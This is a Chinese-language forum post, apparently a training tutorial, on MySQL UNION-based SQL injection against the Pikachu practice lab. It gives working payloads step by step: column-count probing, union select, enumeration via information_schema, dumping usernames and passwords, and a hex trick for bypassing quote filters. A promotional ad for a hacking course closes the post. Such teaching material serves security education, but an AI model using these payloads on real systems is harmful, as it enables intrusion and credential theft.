(五)SQL注入常用函数回顾及数据获取

[复制链接]
发表于 2025-11-12 21:44:09 | 显示全部楼层 |阅读模式
1、常用函数
user()
database()
@@version
session_user()
@@basedir
@@datadir
@@version_compile_os


2、连接字符串函数

前提:
concat(str1 ,str2)
concat_ws(separator, str1,str2.....)
group_concat(str1 ,str2......)



UNION query SQL injection



利用前提:
页面上有显示位,用于显示我们想要的结果
优点:方便、快捷、易于利用
缺点:需要显示位



MySQL中information_scheme库

截图202511121342525725.png


UNION query SQL injection


1、判断列数
        sqli_str.php?name=lucy' order by 1 --+&submit=查询        正常显示
        sqli_str.php?name=lucy' order by 2 --+&submit=查询        正常显示
        sqli_str.php?name=lucy' order by 3 --+&submit=查询        报错,不知道第三列是啥
        此时说明有两列

截图202511121343284961.png


2、判断显示位        
        sqli_str.php?name=a' union select 1,2 --+&submit=查询        正常显示
        根据页面显示1,2都是显示位

截图202511121343452624.png


3、获取当数据库名称和当前连接数据库的用户
        sqli_str.php?name=a' union select database(),user() --+&submit=查询        
        根据页面显示数据库为pikachu , 用户为root都是显示位

截图202511121344069948.png


4、列出所有数据库
        limit 一个一个打印出来库名
        select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1
截图202511121344522758.png

group_concat 一次性全部显示
        select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
截图202511121345269850.png


5、列出(数据库:pikachu)中所有的表

limit 一个一个打印出来表名
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pikachu' limit 0,1

截图202511121345479900.png

group_concat 一次性全部显示
select group_concat(TABLE_NAME) from information_schema.TABLES where
TABLE_SCHEMA=0x70696B61636875
注意:如果注入过程中对引号过滤,数据库名称可以用十六进制来代替字符串,这样可以绕过单引号的限制。

截图202511121346318828.png



7、列出(数据库:pikachu 表:users )中所有的字段


limit 一个一个打印出来
select COLUMN_NAME from information_schema.COLUMNS where
TABLE_SCHEMA='pikachu' and TABLE_NAME='users' limit 0,1

截图202511121347055522.png


group_concat 一次性全部显示
select group_concat(COLUMN_NAME) from information_schema.COLUMNS where
TABLE_SCHEMA=0x70696b61636875 and TABLE_NAME=0x7573657273

截图202511121347413418.png


8、列出(数据库:pikachu 表:users )中所有的数据


limit 一个一个打印出来
select username from pikachu.users limit 0,1
select password from pikachu.users limit 0,1

截图202511121348075623.png


group_concat把一次性全部打印
select group_concat(concat(username,0x20,password)) from pikachu.users

截图202511121348333352.png



必火网络安全培训,北京实地培训,月月有开班,零基础入门,四个月打造渗透高手。
详情请加微信:nvhack/153-2000-4362,手机微信同号。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|小黑屋|女黑客安全网 |网站地图 | 津ICP备17008032号-3

GMT+8, 2026-2-2 05:21 , Processed in 0.082788 second(s), 27 queries .

Powered by Discuz! X3.5

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表